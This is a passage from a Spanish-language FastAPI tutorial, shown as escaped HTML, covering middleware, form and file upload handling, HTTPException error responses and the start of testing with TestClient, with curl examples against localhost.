&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; GZipMiddleware&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# from fastapi.middleware.trustedhost import TrustedHostMiddleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# from fastapi.middleware.httpsredirect import HTTPSRedirectMiddleware&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add_middleware(GZipMiddleware, minimum_size&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;GZipMiddleware: se encarga de usar compresión gzip en tus respuestas&lt;/li&gt;&#xA;&lt;li&gt;TrustedHostMiddleware: con este middleware podemos decirle a fastAPI cuales son los dominios seguros, similar a la variable ALLOWED_HOSTS de Django.&lt;/li&gt;&#xA;&lt;li&gt;HttpsRedirectMiddleware: se encarga de redirigir las peticiones http a su version en https&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;manejo-de-formularios&#34;&gt;Manejo de formularios&lt;/h2&gt;&#xA;&lt;p&gt;Lo primero que tenemos que hacer para manejar formularios es instalar la dependencia &lt;em&gt;python-multipart&lt;/em&gt; a nuestro entorno virtual. Puedes usar pip, pipenv, poetry o lo que quieras.&lt;/p&gt;&#xA;&lt;p&gt;Si usa un entorno virtual, asegúrate de estar dentro del entorno virtual en el cual estás trabajando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install python-multipart&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez instalado nuestro paquete, crearemos una función que reciba un parámetro igual al objeto &lt;em&gt;Form&lt;/em&gt;. Recuerda, nuevamente, importar &lt;em&gt;Form&lt;/em&gt; desde &lt;em&gt;fastapi&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;También toma en cuenta que si quieres agregar más campos basta con establecer más parámetros para la función.&lt;/p&gt;&#xA;&lt;p&gt;Sí, puede sonar bastante obvio pero es mejor mencionarlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/subscribe/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;subscribe&lt;/span&gt;(email&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Form(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: email}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora intentemos mandar un dato usando un formulario usando curl.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email=email@example.org&amp;#39;&lt;/span&gt; localhost:8000/subscribe/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veremos como nos regresa un objeto JSON, con el correo que mandamos en el formulario, como respuesta.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-archivos&#34;&gt;Manejo de archivos&lt;/h2&gt;&#xA;&lt;p&gt;De la misma manera que para los formularios, el manejo de archivos requiere la librería &lt;em&gt;python-multipart&lt;/em&gt;. Instalalá usando pip si aún no lo has hecho. Una vez hecho esto agrega &lt;em&gt;File&lt;/em&gt; y &lt;em&gt;UploadFile&lt;/em&gt; a las importaciones.&lt;/p&gt;&#xA;&lt;p&gt;Por favor observa como es necesario usar el tipado de Python para este ejemplo, si no lo haces te devolverá un error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/files/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_file&lt;/span&gt;(file: &lt;span style=&#34;color:#ff5c57&#34;&gt;bytes&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; File(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file_size&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(file)}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/uploadfile/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_upload_file&lt;/span&gt;(file: UploadFile &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; File(&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;filename&amp;#34;&lt;/span&gt;: file&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filename}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para este ejemplo vamos a crear un archivo sencillo de texto.&lt;/p&gt;&#xA;&lt;p&gt;El siguiente comando creará un archivo de extensión txt en nuestra carpeta actual. Si no te sientes cómodo usando la terminal de GNU/Linux visita mi serie de entradas donde explico los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;comandos básicos de GNU/Linux&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;printf&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;texto&amp;#34;&lt;/span&gt; &amp;gt; archivo.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como una petición a &lt;em&gt;/files/&lt;/em&gt; nos devuelve el tamaño de nuestro archivo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file=@archivo.txt&amp;#34;&lt;/span&gt; localhost:8000/files/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file_size&amp;#34;&lt;/span&gt;:5&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras que una petición a &lt;em&gt;/uploadfile/&lt;/em&gt; nos devuelve el nombre de nuestro archivo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;file=@archivo.txt&amp;#34;&lt;/span&gt; localhost:8000/uploadfile/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;filename&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;archivo.txt&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Seguramente ya habrás notado que &lt;strong&gt;en ningún caso el archivo está siendo guardado, sino que solo se pone a disposición de fastAPI&lt;/strong&gt;, para que hagamos con él lo que queramos dentro de nuestra función.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-errores-en-fastapi&#34;&gt;Manejo de errores en FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;FastAPI cuenta con una serie de excepciones que podemos usar para manejar los errores de nuestra aplicación.&lt;/p&gt;&#xA;&lt;p&gt;Para este ejemplo nuestra función solo retornará un error, pero bien podrías colocar esta excepción en la búsqueda fallida de un objeto en la base de datos o alguna otra situación que se te ocurra.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile, HTTPException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/error/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;generate_error&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;, detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Elegimos el código a devolver con &lt;em&gt;status_code&lt;/em&gt; y la información adicional con &lt;em&gt;detail&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Si hacemos una petición web a &lt;em&gt;/error/&lt;/em&gt; recibiremos una respuesta HTTP 404, junto con la respuesta&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/error/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt; Not Found&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Mon, &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 20:21:28 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;36&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-my_data: X-my_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si lo deseamos también podemos agregar cabeceras HTTP o headers a la respuesta directamente como un argumento llamado headers en nuestra excepción.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Cookie, Header, Response, FastAPI, Form, File, UploadFile, HTTPException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...código anterior}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/error/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;generate_error&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;raise&lt;/span&gt; HTTPException(status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;404&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        detail&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Something was not found&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        headers&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-Error&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Header Error&amp;#34;&lt;/span&gt;},)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;testing-en-fastapi&#34;&gt;Testing en FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;FastAPI contiene un cliente con el que podemos hacer testeo. Antes de empezar a realizar el testing vamos a instalar los paquetes necesarios para hacerlo: pytest y requests.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres profundizar en el testeo en Python tengo una entrada donde expongo algunas de las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/unittest-python-valen-la-pena-los-tests-en-python/&#34;&gt;librerías en Python para hacer testing.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install requests pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que ya los tenemos vamos a crear un archivo de testeo llamado &lt;em&gt;test_api.py&lt;/em&gt; y un archivo &lt;em&gt;__init__.py&lt;/em&gt; para que python poder tener acceso a nuestros módulos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch __init__.py test_api.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En nuestro archivo &lt;em&gt;test_api.py&lt;/em&gt; vamos a colocar el siguiente código.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# test_api.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi.testclient &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TestClient&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; main &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;client &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; TestClient(app)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span 